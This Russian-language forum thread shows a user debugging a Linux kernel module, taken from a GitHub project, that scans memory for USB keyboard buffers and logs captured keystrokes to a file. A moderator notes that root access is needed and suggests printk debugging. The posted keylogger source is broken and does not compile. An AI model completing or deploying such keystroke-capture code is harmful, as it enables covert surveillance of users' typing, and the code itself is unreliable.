Клавиатурный буфер

Вопросы программного кода и архитектуры Linux

Модератор: Olej

Аватара пользователя
Olej
Писатель
Сообщения: 21338
Зарегистрирован: 24 сен 2011, 14:22
Откуда: Харьков
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение Olej » 24 июл 2017, 13:34

Olej писал(а): Во-вторых,
...
И сборка пошла...
В-третьих, пошла, но пошла с ошибками!

Код: Выделить всё

[olej@xenix module_scan]$ make
make -C /lib/modules/4.11.10-200.fc25.x86_64/build SUBDIRS=/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan modules
make[1]: вход в каталог «/usr/src/kernels/4.11.10-200.fc25.x86_64»
Makefile:923: "Cannot use CONFIG_STACK_VALIDATION, please install libelf-dev, libelf-devel or elfutils-libelf-devel"
  CC [M]  /home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.o
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c: В функции «write_to_file»:
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:9:44: ошибка: неявная декларация функции «get_fs» [-Werror=implicit-function-declaration]
 #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
                                            ^
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:18:5: замечание: in expansion of macro «BEGIN_KMEM»
     BEGIN_KMEM;
     ^~~~~~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:9:44: ошибка: неверный инициализатор
 #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
                                            ^
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:18:5: замечание: in expansion of macro «BEGIN_KMEM»
     BEGIN_KMEM;
     ^~~~~~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:9:54: ошибка: неявная декларация функции «set_fs» [-Werror=implicit-function-declaration]
 #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
                                                      ^
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:18:5: замечание: in expansion of macro «BEGIN_KMEM»
     BEGIN_KMEM;
     ^~~~~~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:9:61: ошибка: неявная декларация функции «get_ds» [-Werror=implicit-function-declaration]
 #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
                                                             ^
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:18:5: замечание: in expansion of macro «BEGIN_KMEM»
     BEGIN_KMEM;
     ^~~~~~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c: В функции «scan_start»:
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:43:20: ошибка: неверные операнды бинарной операции % («struct usb_device *» и «int»)
     if(((urbp->dev % 0x400) == 0) &&
          ~~~~~~~~~ ^
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:50:27: ошибка: неявная декларация функции «kmalloc» [-Werror=implicit-function-declaration]
     char* kbuf = (char *) kmalloc(sizeof(urbp->transfer_buffer), GFP_KERNEL);
                           ^~~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:50:18: предупреждение: приведение к типу указателя от целого другого размера [-Wint-to-pointer-cast]
     char* kbuf = (char *) kmalloc(sizeof(urbp->transfer_buffer), GFP_KERNEL);
                  ^
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:53:12: предупреждение: ISO C90 запрещает смешение деклараций и кода [-Wdeclaration-after-statement]
            char* newline = "\n";
            ^~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:58:20: ошибка: для функции «scan_end» задан неверный класс хранения
 static void __exit scan_end(void){
                    ^~~~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:58:1: предупреждение: ISO C90 запрещает смешение деклараций и кода [-Wdeclaration-after-statement]
 static void __exit scan_end(void){
 ^~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:62:1: ошибка: слишком много аргументов в вызове функции «init_module»
 init_module(scan_start);
 ^~~~~~~~~~~
In file included from /home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:4:0:
./include/linux/module.h:73:12: замечание: объявлено здесь
 extern int init_module(void);
            ^~~~~~~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:63:1: ошибка: неявная декларация функции «exit_module» [-Werror=implicit-function-declaration]
 exit_module(scan_end);
 ^~~~~~~~~~~
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:63:1: ошибка: expected declaration or statement at end of input
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:63:1: предупреждение: в функции, которая должна возвращать значение, отсутствует оператор return [-Wreturn-type]
На верхнем уровне:
/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.c:38:19: предупреждение: «scan_start» defined but not used [-Wunused-function]
 static int __init scan_start(void){
                   ^~~~~~~~~~
cc1: некоторые предупреждения считаются ошибками
scripts/Makefile.build:300: ошибка выполнения рецепта для цели «/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.o»
make[2]: *** [/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan/module.o] Ошибка 1
Makefile:1496: ошибка выполнения рецепта для цели «_module_/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan»
make[1]: *** [_module_/home/olej/WORK_2017/own.WORK/AntiHack/CapturingKeystrokes/Demon-master/module_scan] Ошибка 2
make[1]: выход из каталога «/usr/src/kernels/4.11.10-200.fc25.x86_64»
Makefile:13: ошибка выполнения рецепта для цели «all»
make: *** [all] Ошибка 2

Причём, ошибки то (по крайней мере некоторый) - простые!
Опять говённая небрежность: не указан где-то необходимый #include и т.д. ... возможно с разрядностью 32/64 нужно аккуратно посмотреть ... с версией ядра и его API...
В общем, это можно, похоже, довести до компиляции ... тем более, что код там элементарный, в общем...

Аватара пользователя
Olej
Писатель
Сообщения: 21338
Зарегистрирован: 24 сен 2011, 14:22
Откуда: Харьков
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение Olej » 24 июл 2017, 15:12

seregin писал(а):Вопрос следующий: в старых версиях Linux клавиатурный буфер можно было найти с помощью утилиты dd в начале 2кБ ОЗУ в файле /dev/mem. Сейчас его там нет.
Повторю ещё раз:
- никакой поиск в /dev/mem без прав root вы сделать не сможете...
- а если это чужой компьютер, где вам не доверили вход root - то вы его не получите! ... это вам не вынь-да :cry: ... именно поэтому, под выньдой существуют десятки тысяч разнообразных вирусов, а под Linux - их нет ... есть отдельные руткиты, но это уже другая история
- т.е. если у вас нет прав root, то всё это вам не поможет :lol:
- а если есть права root - то вы и так всевластный хозяин...
- только тогда это (поиск клавиатурного буфера, например) делается совершенно по-другому: пишется для этого модуль ядра ... но который может подгрузить опять же только root ;-)
Это в точности то, что и делают:
seregin писал(а): Единственную информацию, которая я думаю подходит я нашел здесь: https://github.com/x0r1/Demon Там ищется буфер клавиатуры(наверно)
И статья по этому коду http://www.cs.columbia.edu/~mikepo/pape ... osec13.pdf
Но это им не поможет без прав root.

P.S. Это так картина выглядит в стандартном, лучшем случае :lol:
А ещё в Linux (в конкретной инсталляции) могут быть включены ("лёгким движением руки" :lol: ) другие, более жёсткие правила регламентации доступа: SELinux, или мандатный порядок регламентации, как в Astra Linux.
И тогда таким попыткам - просто капец! :lol:

seregin
Писатель
Сообщения: 33
Зарегистрирован: 23 июл 2017, 12:46
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение seregin » 24 июл 2017, 15:18

разбираю код сейчас)
по поводу рута, то это не учитывается просто нужен ответ)

Аватара пользователя
Olej
Писатель
Сообщения: 21338
Зарегистрирован: 24 сен 2011, 14:22
Откуда: Харьков
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение Olej » 24 июл 2017, 15:26

seregin писал(а):разбираю код сейчас)
А нечего там особенно разбирать ;-) : код там - говно. :cry:
Его нужно просто переписать, упростить - незачем там в файл писать результат.
Вместо их вот этого:

Код: Выделить всё

write_to_file(log, kbuf, sizeof(kbuf));
Просто вывести:

Код: Выделить всё

printk( KERN_INFO "address: %x\n", kbuf );
А потом посмотреть этот вывод в логах ядра командой dmesg.

seregin
Писатель
Сообщения: 33
Зарегистрирован: 23 июл 2017, 12:46
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение seregin » 24 июл 2017, 15:34

2 ошибки осталось:1
1)ругается на инициализацию модуля и выгрузку
2)Invalid operands to binary %(have 'struct usb_device *'' and int) и на эту строку тыкает if(((urbp->dev % 0x400) == 0)

Аватара пользователя
Olej
Писатель
Сообщения: 21338
Зарегистрирован: 24 сен 2011, 14:22
Откуда: Харьков
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение Olej » 24 июл 2017, 15:44

seregin писал(а):2 ошибки осталось:1
1)ругается на инициализацию модуля и выгрузку
2)Invalid operands to binary %(have 'struct usb_device *'' and int) и на эту строку тыкает if(((urbp->dev % 0x400) == 0)
Нужно не "на пальцах" рассказывать, а а). копировать сюда строки сообщений из терминала и б). обрамлять их тэгом code (значок над окном редактирования ... 4-й слева).

seregin
Писатель
Сообщения: 33
Зарегистрирован: 23 июл 2017, 12:46
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение seregin » 24 июл 2017, 16:07

Код: Выделить всё

#include <linux/module.h>
#include <linux/usb.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/file.h>
#include <linux/fs.h>
#define x(y) ((void *)((uint32_t)(y)+PAGE_OFFSET))
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }
#define log "strokes.txt"
#define write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define writable(f) (f->f_op && f->f_op->write)

static int write_to_file(char* logfile, char* buf, int size){
    int ret = 0;
    struct file * f = NULL;
    BEGIN_KMEM;
    f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
    if(IS_ERR(f)){
        printk(KERN_INFO "Error %ld opening %s\n", -PTR_ERR(f), logfile);
        ret = -1;
    } else{
        if(writable(f))
            write(f, buf, size);
        else{
            printk(KERN_INFO "%s does not have a write method\n", logfile);
            ret = -1;
        }
        if((ret = filp_close(f,NULL)))
            printk("Error %d closing %s\n", -ret, logfile);
    }
    END_KMEM;

    return ret;
}
static int scan_start(void){

unsigned long long i;

for(i = 0; i < ULLONG_MAX; i += 0x10){
    struct urb *urbp = (struct urb *)x(i);
    if(((urbp->dev%0x400) == 0) && ((urbp->transfer_dma % 0x20) == 0) && (urbp->transfer_buffer_length == 8) &&  (urbp->transfer_buffer != NULL) && strncmp(urbp->dev->product, "usb", 32) &&  strncmp(urbp->dev->product, "keyboard", 32)){
           // found possible keyboard buffer
	   char* kbuf = (char *) kmalloc(sizeof(urbp->transfer_buffer), GFP_KERNEL);
	   kbuf = urbp->transfer_buffer;
	   write_to_file(log, kbuf, sizeof(kbuf)); 
	   write_to_file(log, "\n", sizeof(2));
       }
}
}
static void scan_end(void){
    // do something
}

init_module(scan_start);
exit_module(scan_end);

Код: Выделить всё


/home/serg/filk.c:42:19: error: invalid operands to binary % (have ‘struct usb_device *’ and ‘int’)
     if(((urbp->dev%0x400) == 0) && ((urbp->transfer_dma % 0x20) == 0) && (urbp->transfer_buffer_length == 8) &&  (urbp->transfer_buffer != NULL) && strncmp(urbp->dev->product, "usb",

Код: Выделить всё

/home/serg/filk.c:56:1: error: type defaults to ‘int’ in declaration of ‘init_module’ [-Werror=implicit-int]
/home/serg/filk.c:56:1: warning: parameter names (without types) in function declaration
/home/serg/filk.c:57:1: warning: data definition has no type or storage class
 exit_module(scan_end);
 ^
/home/serg/filk.c:57:1: error: type defaults to ‘int’ in declaration of ‘exit_module’ [-Werror=implicit-int]
/home/serg/filk.c:57:1: warning: parameter names (without types) in function declaration
/home/serg/filk.c:36:12: warning: ‘scan_start’ defined but not used [-Wunused-function]
 static int scan_start(){
            ^
/home/serg/filk.c:52:13: warning: ‘scan_end’ defined but not used [-Wunused-function]
 static void scan_end(void){
             ^

seregin
Писатель
Сообщения: 33
Зарегистрирован: 23 июл 2017, 12:46
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение seregin » 24 июл 2017, 16:22

с модулями решил! Осталась одна ошибка

Код: Выделить всё

error: invalid operands to binary % (have ‘struct usb_device *’ and ‘int’)
     if(((urbp->dev%0x400) == 0) && ((urbp->transfer_dma % 0x20) == 0) && (urbp->transfer_buffer_length == 8) &&  (urbp->transfer_buffer != NULL) && strncmp(urbp->dev->product, "usb",

Код: Выделить всё

#include <linux/module.h>
#include <linux/init.h>
#include <linux/usb.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/file.h>
#include <linux/fs.h>
#define x(y) ((void *)((uint32_t)(y)+PAGE_OFFSET))
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }
#define log "strokes.txt"
#define write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define writable(f) (f->f_op && f->f_op->write)

static int write_to_file(char* logfile, char* buf, int size){
    int ret = 0;
    struct file * f = NULL;
    BEGIN_KMEM;
    f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
    if(IS_ERR(f)){
        printk(KERN_INFO "Error %ld opening %s\n", -PTR_ERR(f), logfile);
        ret = -1;
    } else{
        if(writable(f))
            write(f, buf, size);
        else{
            printk(KERN_INFO "%s does not have a write method\n", logfile);
            ret = -1;
        }
        if((ret = filp_close(f,NULL)))
            printk("Error %d closing %s\n", -ret, logfile);
    }
    END_KMEM;

    return ret;
}
static int  scan_start(void){

unsigned long long i;

for(i = 0; i < ULLONG_MAX; i += 0x10){
    struct urb *urbp = (struct urb *)x(i);
    if(((urbp->dev%0x400) == 0) && ((urbp->transfer_dma % 0x20) == 0) && (urbp->transfer_buffer_length == 8) &&  (urbp->transfer_buffer != NULL) && strncmp(urbp->dev->product, "usb", 32) &&  strncmp(urbp->dev->product, "keyboard", 32)){
           // found possible keyboard buffer
	   char* kbuf = (char *) kmalloc(sizeof(urbp->transfer_buffer), GFP_KERNEL);
	   kbuf = urbp->transfer_buffer;
	   write_to_file(log, kbuf, sizeof(kbuf)); 
	   write_to_file(log, "\n", sizeof(2));
       }
}
return 0;
}
static void  scan_end(void){
    // do something
}
module_init(scan_start);
module_exit(scan_end);

Аватара пользователя
Olej
Писатель
Сообщения: 21338
Зарегистрирован: 24 сен 2011, 14:22
Откуда: Харьков
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение Olej » 24 июл 2017, 16:30

seregin писал(а):с модулями решил!
Каким образом решил?
Как решил?
seregin писал(а): Осталась одна ошибка

Код: Выделить всё

error: invalid operands to binary % (have ‘struct usb_device *’ and ‘int’)
     if(((urbp->dev%0x400) == 0) && ((urbp->transfer_dma % 0x20) == 0) && (urbp->transfer_buffer_length == 8) &&  (urbp->transfer_buffer != NULL) && strncmp(urbp->dev->product, "usb",
Надо смотреть struct usb_device ...
Это (ошибка) арифметическое выражение, там довольно легко разобраться.
Возможно, это из-за различий в платформах 32/64 бит и несовпадения длин int и void*.

seregin
Писатель
Сообщения: 33
Зарегистрирован: 23 июл 2017, 12:46
Контактная информация:

Re: Клавиатурный буфер

Непрочитанное сообщение seregin » 24 июл 2017, 16:32

Код: Выделить всё

struct urb 
{
    /* private: usb core and host controller only fields in the urb */
    struct kref kref;        /* reference count of the URB */
    void *hcpriv;            /* private data for host controller */
    atomic_t use_count;        /* concurrent submissions counter */
    atomic_t reject;        /* submissions will fail */
    int unlinked;            /* unlink error code */

    /* public: documented fields in the urb that can be used by drivers */
    struct list_head urb_list;    /* list head for use by the urb's
                     * current owner */
    struct list_head anchor_list;    /* the URB may be anchored */
    struct usb_anchor *anchor;
    struct usb_device *dev;     /* (in) pointer to associated device */
    struct usb_host_endpoint *ep;    /* (internal) pointer to endpoint */
    unsigned int pipe;        /* (in) pipe information */
    int status;            /* (return) non-ISO status */
    unsigned int transfer_flags;    /* (in) URB_SHORT_NOT_OK | ...*/
    void *transfer_buffer;        /* (in) associated data buffer */
    dma_addr_t transfer_dma;    /* (in) dma addr for transfer_buffer */
    struct usb_sg_request *sg;    /* (in) scatter gather buffer list */
    int num_sgs;            /* (in) number of entries in the sg list */
    u32 transfer_buffer_length;    /* (in) data buffer length */
    u32 actual_length;        /* (return) actual transfer length */
    unsigned char *setup_packet;    /* (in) setup packet (control only) */
    dma_addr_t setup_dma;        /* (in) dma addr for setup_packet */
    int start_frame;        /* (modify) start frame (ISO) */
    int number_of_packets;        /* (in) number of ISO packets */
    int interval;            /* (modify) transfer interval
                     * (INT/ISO) */
    int error_count;        /* (return) number of ISO errors */
    void *context;            /* (in) context for completion */
    usb_complete_t complete;    /* (in) completion routine */
    struct usb_iso_packet_descriptor iso_frame_desc[0];
                    /* (in) ISO ONLY */
};
вот она

Ответить

Вернуться в «Linux изнутри»

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и 5 гостей